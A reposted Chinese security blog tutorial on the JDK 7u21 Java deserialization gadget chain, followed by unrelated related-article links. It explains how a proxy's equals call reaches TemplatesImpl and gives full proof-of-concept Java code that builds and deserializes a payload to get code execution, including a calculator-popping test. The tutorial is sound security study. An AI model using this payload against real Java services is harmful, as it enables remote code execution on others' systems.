【java安全】原生反序列化利用链JDK7u21

news2024/12/26 23:40:41

文章目录

    • 【java安全】原生反序列化利用链JDK7u21
      • 前言
      • 原理
        • equalsImpl()
        • 如何调用equalsImpl()？
        • HashSet通过反序列化间接执行equals()方法
        • 如何使hash相等？
      • 思路整理
      • POC
      • Gadget
      • 为什么在HashSet#add()前要将HashMap的value设为其他值？

【java安全】原生反序列化利用链JDK7u21

前言

前面我们学习了使用第三方类：Common-Collections、Common-Beanutils进行反序列化利用。我们肯定会想，如果不利用第三方类库，能否进行反序列化利用链呢？这里还真有：JDK7u21。但是只适用于java 7u及以前的版本

在使用这条利用链时，需要设置jdk为jdk7u21

原理

JDK7u21这条链利用的核心其实就是AnnotationInvocationHandler，没错，就是我们之前学习过的那个类，位于：sun.reflect.annotation包下

equalsImpl()

我们看一下equalsImpl()、getMemberMethods方法：

private Boolean equalsImpl(Object var1) {  //传入var1
        ...
        } else {
            Method[] var2 = this.getMemberMethods();
            int var3 = var2.length;

            for(int var4 = 0; var4 < var3; ++var4) {
                Method var5 = var2[var4];  // var5是一个方法对象
                String var6 = var5.getName();
                Object var7 = this.memberValues.get(var6);
                Object var8 = null;
                AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
                if (var9 != null) {
                    var8 = var9.memberValues.get(var6);
                } else {
                    try {
                        var8 = var5.invoke(var1);  // 这里会调用var1这个对象的var5方法
                    } 
                    ...

            return true;
        }
    }

private transient volatile Method[] memberMethods = null;

private Method[] getMemberMethods() {
        if (this.memberMethods == null) {
            this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
                public Method[] run() {
                    Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods(); //获得Method[]
                    AccessibleObject.setAccessible(var1, true);
                    return var1;
                }
            });
        }

        return this.memberMethods;
    }

equalsImpl()方法中明显会调用memberMethod.invoke(o) ，而memberMethod来自于this.type.getDeclaredMethods()

如果我们此时传入invoke()中的形参为TemplatesImpl对象，并且this.type是TemplatesImpl的字节码对象。

那么经过循环就会调用TemplatesImpl对象中的每个方法，就必然会调用newTransformer()或getOutputProperties()方法从而执行恶意字节码了

如何调用equalsImpl()？

那么在哪里会调用equalsImpl()方法呢？invoke()：

public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
    
    	//当执行invoke()方法时传入的方法名字为equals并且形参只有一个，类型为Object就会执行 equalsImpl()
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);  
        } else {
            assert var5.length == 0;

            if (var4.equals("toString")) {
                return this.toStringImpl();
            } else if (var4.equals("hashCode")) {
                return this.hashCodeImpl();
            } else if (var4.equals("annotationType")) {
                return this.type;
            } else {
                Object var6 = this.memberValues.get(var4); //cc1
                ...
            }
        }
    }

我们之前cc1中是另this.memberValues等于一个LazyMap对象，让其调用get()方法，就可以执行cc1利用链了

但是这里我们不需要利用这里，我们需要注意这里：

//当执行invoke()方法时传入的方法名字为equals并且形参只有一个，类型为Object就会执行 equalsImpl()
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
	return this.equalsImpl(var3[0]);  
}

我们应该思考这里的invoke()方法如何被调用，并且刚好使形参的第二个为equals、第三个参数的类型为Object对象

我们之前学习过动态代理，当一个代理对象Proxy调用一个方法时，就会调用构造该代理对象时传入的InvocationHandler的invoke()方法，并且第二个参数为methodName方法名，invoke()第三个参数为调用方法时传入的参数

所以现在我们需要找到一个类，他在反序列化时，会间接的对Proxy对象调用equals()方法

HashSet通过反序列化间接执行equals()方法

HashSet可以做到这个效果，实现这个效果有一点复杂，我们先大致了解一下过程

image-20230803163945918

我们创建一个LinkedHashSet对象，当反序列化时会遍历每一个值，使用LinkedHashMap#put()方法，

put()方法中这几行是重点

int hash = hash(key);  //计算key的hash值
int i = indexFor(hash, table.length);  //这个i也是hash
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
	Object k;
 	if (e.hash == hash && ((k = e.key) == key || key.equals(k)))  //重点

这里会对key的hash与表中取出的e的hash做一个比较，如果这俩个hash相等，但是又不是同一个对象的化，就会执行key的equals()方法，传入参数k

这里我们假设key是Proxy代理对象，并且这里传入的k是一个TemplatesImpl恶意对象，那么就会执行AnnotationInvocationHandler的invoke()方法，从而执行equalsImpl()中的invoke()方法

最终调用了TemplatesImpl恶意对象的newTransformer()方法RCE

image-20230803165019843

我们怎么控制上面的key以及k=e.key呢？

其实我们上面已经分析了一下，这个key和k其实就是我们添加进入：LinkedHashSet中的元素而已

// 实例化HashSet，并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);

我们应该先添加TemplatesImpl对象，再添加Proxy代理对象，这样才好触发key.equals(k)

如何使hash相等？

我们上面其实默认了一个前提，那就是e.hash == hash 。其实这两个默认肯定不相等，我们需要一些小操作使其相等

我们先来看看HashMap中的hash()方法：

final int hash(Object k) {
        ...
        h ^= k.hashCode();
        h ^= (h >>> 20) ^ (h >>> 12);
        return h ^ (h >>> 7) ^ (h >>> 4);
    }

这里自始至终只用到了一个变量k.hashCode()，其他的都相等，我们想要Proxy和TemplateImpl的hash相等，其实只需要让k.hashCode()相等即可

TemplateImpl的 hashCode() 是一个Native方法，每次运 行都会发生变化，我们理论上是无法预测的，所以想让proxy的 hashCode() 与之相等，只能寄希望于 proxy.hashCode()

当我们调用proxy.hashCode()时，就会调用创建改代理对象时传入的InvocationHandler对象的invoke()方法，我们继续看看invoke()：

public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        } else if (var4.equals("hashCode")) {
                return this.hashCodeImpl();
            }
            ...
        }
    }

可见，会继续调用invoke()中的hashCodeImpl()方法：

private int hashCodeImpl() {
        int var1 = 0;

        Map.Entry var3;
        for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
            var3 = (Map.Entry)var2.next();
        }

        return var1;
    }

重点是下面这一句，var1是计算累加和的，如果this.memberValues是一个HashMap类型并且其中只有一个元素，那么函数的返回值就变成了这个了：

127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
即：
127 * key.hashCode() ^ value.hashCode()

我们想让Proxy和TemplateImpl的hash相等，并且TemplateImplhash不可控。

上述代码中如果我们令key.hashCode()=0，并且我们令value 等于TemplateImpl对象，那么这两个的hash就相等了，进而可以执行Proxy的equals()方法了

我们需要找到一个值的hashCode为0，是可以通过爆破来实现的：

public static void bruteHashCode()
{
    for (long i = 0; i < 9999999999L; i++) {
        if (Long.toHexString(i).hashCode() == 0) {
        	System.out.println(Long.toHexString(i));
		}
	}
}

跑出来第一个是 f5a5a608 ，这个也是ysoserial中用到的字符串

思路整理

讲完了这么多我们理清一下思路

先创建一个恶意TemplatesImpl对象：

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

为了使Proxy和TemplateImpl的hash相等，以便执行equals()，我们需要让AnnotationInvocationHandler的this.memberValues等于一个HashMap并且只有一个元素：key为f5a5a608，value为：TemplateImpl对象，这样由AnnotationInvocationHandler组成的代理对象proxy与TemplateImpl的hash就会相等

所以创建一个HashMap：

// 实例化一个map，并添加Magic Number为key，也就是f5a5a608，value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");

实例化 AnnotationInvocationHandler 对象

  • 它的type属性是一个TemplateImpl类
  • 它的memberValues属性是一个Map，Map只有一个key和value，key是字符串 f5a5a608 ， value是前面生成的恶意TemplateImpl对象

实例化AnnotationInvocationHandler类，将map传参进去，经过构造函数设置为memberValues

由于equalImpl()方法会调用memberMethod.invoke(o)，这个memberMethod来自this.type.getDeclaredMethods()所以需要设置type为TemplatesImpl的 字节码，这里构造函数会将第一个参数设为type

Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

在创建核心的LinkedHashSet之前，我们需要创建一个代理对象，将tempHandler给传进去

// 为tempHandler创造一层代理
Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

然后实例化：HashSet：

// 实例化HashSet，并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates); 
set.add(proxy);

添加的先后顺序要注意一下，Proxy应该放在后面，这样才会调用Proxy#equals()

这样在反序列化触发rce的流程如下：

首先触发HashSet的readObject()方法，然后集合中的值会使用LinkedHasnMap的put(key,常数)方法进行key去重

去重时计算元素的hashcode，由于我们已经构造其相等，所以会触发Proxy#equals()方法

进而调用AnnotationInvocationHandler#invoke()-> AnnotationInvocationHandler#equalsImpl()方法

equalsImpl()会遍历type的每个方法并调用。

因为this.type是TemplatesImpl字节码对象，所以最终会触发newTransformer()造成RCE

POC

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class JDK7u21 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        String zeroHashCodeStr = "f5a5a608";

        // 实例化一个map，并添加Magic Number为key，也就是f5a5a608，value先随便设置一个值
        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        // 实例化AnnotationInvocationHandler类
        Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        handlerConstructor.setAccessible(true);
        InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

        // 为tempHandler创造一层代理
        Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

        // 实例化HashSet，并将两个对象放进去
        HashSet set = new LinkedHashSet();
        set.add(templates);
        set.add(proxy);

        // 将恶意templates设置到map中
        map.put(zeroHashCodeStr, templates);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(set);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

Gadget

HashSet#readObject()
    LinkedHashMap#put(e, PRESENT)
    	Proxy#equals(k)
    		AnnotationInvocationHandler#invoke()
    			equalsImpl()
    				TemplatesImpl#newTransformer()
    					...
    					ClassLoader.defineClass()
    					...
    					Runtime.exec()

为什么在HashSet#add()前要将HashMap的value设为其他值？

我们追踪一下HashSet#add()方法，发现他也会调用HashMap#put()方法，这样就会导致Proxy提前触发equals()方法造成命令执行：

image-20230803181355838

我们测试一下：

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class JDK7u21 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        String zeroHashCodeStr = "f5a5a608";

        
        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, templates);  //value再这里设为templates

        Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        handlerConstructor.setAccessible(true);
        InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

        Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

        HashSet set = new LinkedHashSet();
        set.add(templates);
        set.add(proxy);

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

成功不经过反序列化就弹出计算器：

image-20230803181634928

所以我们需要先将HashMap的唯一一个元素的value设为其他值

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/831773.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

毫米波雷达 TI IWR6843 官方测试程序（Out Of Box Demo）

毫米波雷达 TI IWR6843 官方测试程序（Out Of Box Demo）

1.硬件准备 1.IWR6843AOP板子 2.两个USB转串口模块&#xff08;因为我的是自己做的板子&#xff0c;板子上没有集成USB转串口芯片&#xff09; 2.软件准备 1.最新版本的CCS&#xff0c;注意后缀没有THEIA https://www.ti.com/tool/CCSTUDIO?DCMPdsp_ccs_v4&HQSccs 2.最…
阅读更多...
PageObjects支持库-Poium使用方法

PageObjects支持库-Poium使用方法

PO模式 学过自动化的都知道PageObjects模式&#xff0c;将页面对象封装为类&#xff0c;页面元素和操作封装为类的属性和方法&#xff0c;在测试方法中调用页面对象进行测试。 关于PO模式可见&#xff1a;http://t.csdn.cn/0DBlP 在PO模式下&#xff0c;我们一般定义个一个基…
阅读更多...
MacOS上用docker运行mongo及mongo-express

MacOS上用docker运行mongo及mongo-express

MongoDB简介 MongoDB 是一个基于分布式文件存储的数据库。由 C 语言编写。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。 MongoDB 是一个介于关系数据库和非关系数据库之间的产品&#xff0c;是非关系数据库当中功能最丰富&#xff0c;最像关系数据库的。 前提 要求…
阅读更多...
蓝牙资讯|苹果智能戒指专利曝光，可与苹果智能设备进行交互

蓝牙资讯|苹果智能戒指专利曝光，可与苹果智能设备进行交互

根据美国商标和专利局&#xff08;USPTO&#xff09;公示的清单&#xff0c;苹果获得了一项智能戒指专利&#xff0c;可以作为 MacBook、电视、AirPods、智能眼镜和 iPhone 等设备的输入交互设备。 苹果在专利中展示了 16 种智能戒指的交互方式&#xff0c;其中图 2 展示了该…
阅读更多...
Python高阶技巧 正则表达式

Python高阶技巧 正则表达式

正则表达式&#xff0c;又称规则表达式&#xff08;Regular Expression&#xff09;&#xff0c;是使用单个字符串来描述、匹配某个句法规则的字符串&#xff0c;常被用来检索、替换那些符合某个模式&#xff08;规则&#xff09;的文本。 简单来说&#xff0c;正则表达式就是使…
阅读更多...
大模型系列｜基于大模型复杂数据系统架构（二）

大模型系列｜基于大模型复杂数据系统架构（二）

张俊林老师在 2023 WAIC AI 开发者论坛的演讲非常有概括性&#xff0c;这边沿着思路进行一定的整理。&#xff08;文章来源&#xff1a;WAIC 2023 | 张俊林&#xff1a;大语言模型带来的交互方式变革&#xff09; 文章目录 1 PlanningProgramming 模式的系统技术架构2 HuggingG…
阅读更多...
运维：18工作中常用 Shell 脚本, 强烈推荐

运维：18工作中常用 Shell 脚本, 强烈推荐

1、检测两台服务器指定目录下的文件一致性 #!/bin/bash ###################################### 检测两台服务器指定目录下的文件一致性 ##################################### #通过对比两台服务器上文件的md5值，达到检测一致性的目的 dir=/data/web b_ip=192…
阅读更多...
el-popover使用自定义图标

el-popover使用自定义图标

使用el-popover实现鼠标点击或浮动到自定义图标上弹出表格弹窗&#xff0c;官方文档上使用的是按钮el-button&#xff0c;如果想换成图标或其他的组件的话直接把el-button替换掉即可。注意替换之后的组件一定要加slot“reference”&#xff0c;不然组件是显示不出来的。 代码如…
阅读更多...
数据可视化（六）多个子图及seaborn使用

数据可视化（六）多个子图及seaborn使用

1.多个子图绘制 #绘制多个子图 #subplot&#xff08;*args&#xff0c;**kwargs&#xff09; 每个subplot函数只能绘制一个子图 #subplots&#xff08;nrows&#xff0c;ncols&#xff09; #fig_add_subplot(行&#xff0c;列&#xff0c;区域) #绘制子图第一种方式 plt.subp…
阅读更多...
qq邮箱 会自动拦截 github 邮件，醉了！

qq邮箱 会自动拦截 github 邮件，醉了！

今天登录Github&#xff0c;修改密码&#xff0c;qq邮箱一直收不到Github的邮件 打开自助查询一看&#xff0c;自助查询在右边栏 为什么steam登陆 qq邮箱收不到验证码了&#xff1f; - 知乎 点击左上角设置&#xff0c;点击反垃圾&#xff0c;点击设置右键地址白名单 然后就可…
阅读更多...
恒运资本：满仓的含义？

恒运资本：满仓的含义？

满仓&#xff0c;望文生义&#xff0c;便是财经领域中的一个术语。它指的是出资者将一切可用资金悉数用于购买股票、基金或其他金融资产。满仓的意义是出资者对某种出资产品充满决心&#xff0c;并乐意将自己的大部分资金投入其中&#xff0c;以希望取得更高的报答。但是&#…
阅读更多...
Mongodb安装（Centos7）

Mongodb安装（Centos7）

1. 下载 MongoDB: The Developer Data Platform | MongoDB 2. 安装 上传至服务器 解压 tar -zxvf mongodb-linux-x86_64-rhel70-5.0.19.tgz 移动 mv mongodb-linux-x86_64-rhel70-5.0.19 /usr/local/mongodb 3. 配置 vim /etc/profile # set mongodb configuration expor…
阅读更多...
shell centos 7 一键部署 KVM软件脚本

shell centos 7 一键部署 KVM软件脚本

这个脚本有限地方还需要完善下 设计思路&#xff1a; 1、创建检查内核函数 check_kernel() 2、创建升级内核函数 update_kernel() 3、创建检查是否支持虚拟化函数 check_virtual() 4、创建检查操作系统函数 check_system() 5、创建检查网络函数 check_network() 6…
阅读更多...
安防视频汇聚平台EasyCVR视频广场面包屑侧边栏支持拖拽操作

安防视频汇聚平台EasyCVR视频广场面包屑侧边栏支持拖拽操作

智能视频监控平台EasyCVR能在复杂的网络环境中&#xff0c;将海量设备实现集中统一接入与汇聚管理&#xff0c;实现视频的处理与分发、录像与存储、按需调阅、平台级联等。 TSINGSEE青犀视频汇聚平台EasyCVR可拓展性强、视频能力灵活、部署轻快&#xff0c;可支持的主流标准协…
阅读更多...
实例029 半透明渐显窗体

实例029 半透明渐显窗体

实例说明 很多专业软件在启动前都会显示一个说明该软件信息或用途的窗口&#xff0c;有的则是一个漂亮的启动界面&#xff0c;如Adobe公司的Acrobat。该窗口使软件显得更加专业。本例将实现一个半透明的渐显窗体&#xff0c;运行本软件会显示一个启动画面&#xff0c;并且画面…
阅读更多...
【大招：谨慎使用】如果Git上传，pull总是有冲突而且无法解决

【大招：谨慎使用】如果Git上传，pull总是有冲突而且无法解决

目录 1.先去当前项目文件夹&#xff0c;拷贝一份项目作为备份。 2.右键运行Git Bash 3.把刚才备份的项目文件夹中&#xff0c;自己的代码&#xff0c;拷贝到覆盖后文件夹里&#xff0c;并替换。 4.打开idea&#xff0c;进到项目里。把代码重新push。按如下操作&#xff1a; …
阅读更多...
AI人工智能到底会如何发展，有没有哪些是确定的将来？

AI人工智能到底会如何发展，有没有哪些是确定的将来？

自从 chatGPT 发布&#xff0c;Ai的未来难以预测&#xff0c;但过往清晰可见&#xff0c;我们从过去大胆推测一下未来。 1950年&#xff0c;图灵提出了"图灵测试"&#xff0c;作为衡量机器是否具有人类智能的标准。 2016年&#xff0c;DeepMind的AlphaGo战胜了围棋世…
阅读更多...
Qt实现自定义QDoubleSpinBox软键盘

Qt实现自定义QDoubleSpinBox软键盘

在Qt应用程序开发中&#xff0c;经常会遇到需要自定义输入控件的需求。其中&#xff0c;对于QDoubleSpinBox控件&#xff0c;如果希望在点击时弹出一个自定义的软键盘&#xff0c;以便用户输入数值&#xff0c;并将输入的值设置给QDoubleSpinBox&#xff0c;该如何实现呢&#…
阅读更多...
35.利用fminsearch解 多元变量无约束条件下的函数最小值（matlab程序）

35.利用fminsearch解 多元变量无约束条件下的函数最小值（matlab程序）

1.简述 1.fminsearch函数基本语法 函数功能&#xff1a;使用无导数法计算无约束多变量函数的最小值 语法 x fminsearch(fun,x0) x fminsearch(fun,x0,options) x fminsearch(problem) [x,fval] fminsearch(___) [x,fval,exitflag] fminsearch(___) [x,fval,exitflag,out…
阅读更多...
苹果、高通、联发科新一代旗舰处理器纷纷出炉，A17 又赢麻了

苹果、高通、联发科新一代旗舰处理器纷纷出炉，A17 又赢麻了

眼看又到了 8 月份&#xff0c;距离每年后半段各家新款旗舰手机发布的日子越来越近。 但在这之前往往率先展开的是移动手机处理器之间的巅峰对决。 高通骁龙 8 Gen3、联发科天玑 9300、苹果 A17 无疑将会成为今年厮杀的主战场。 到了临近关头&#xff0c;这几款处理器规格、性…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023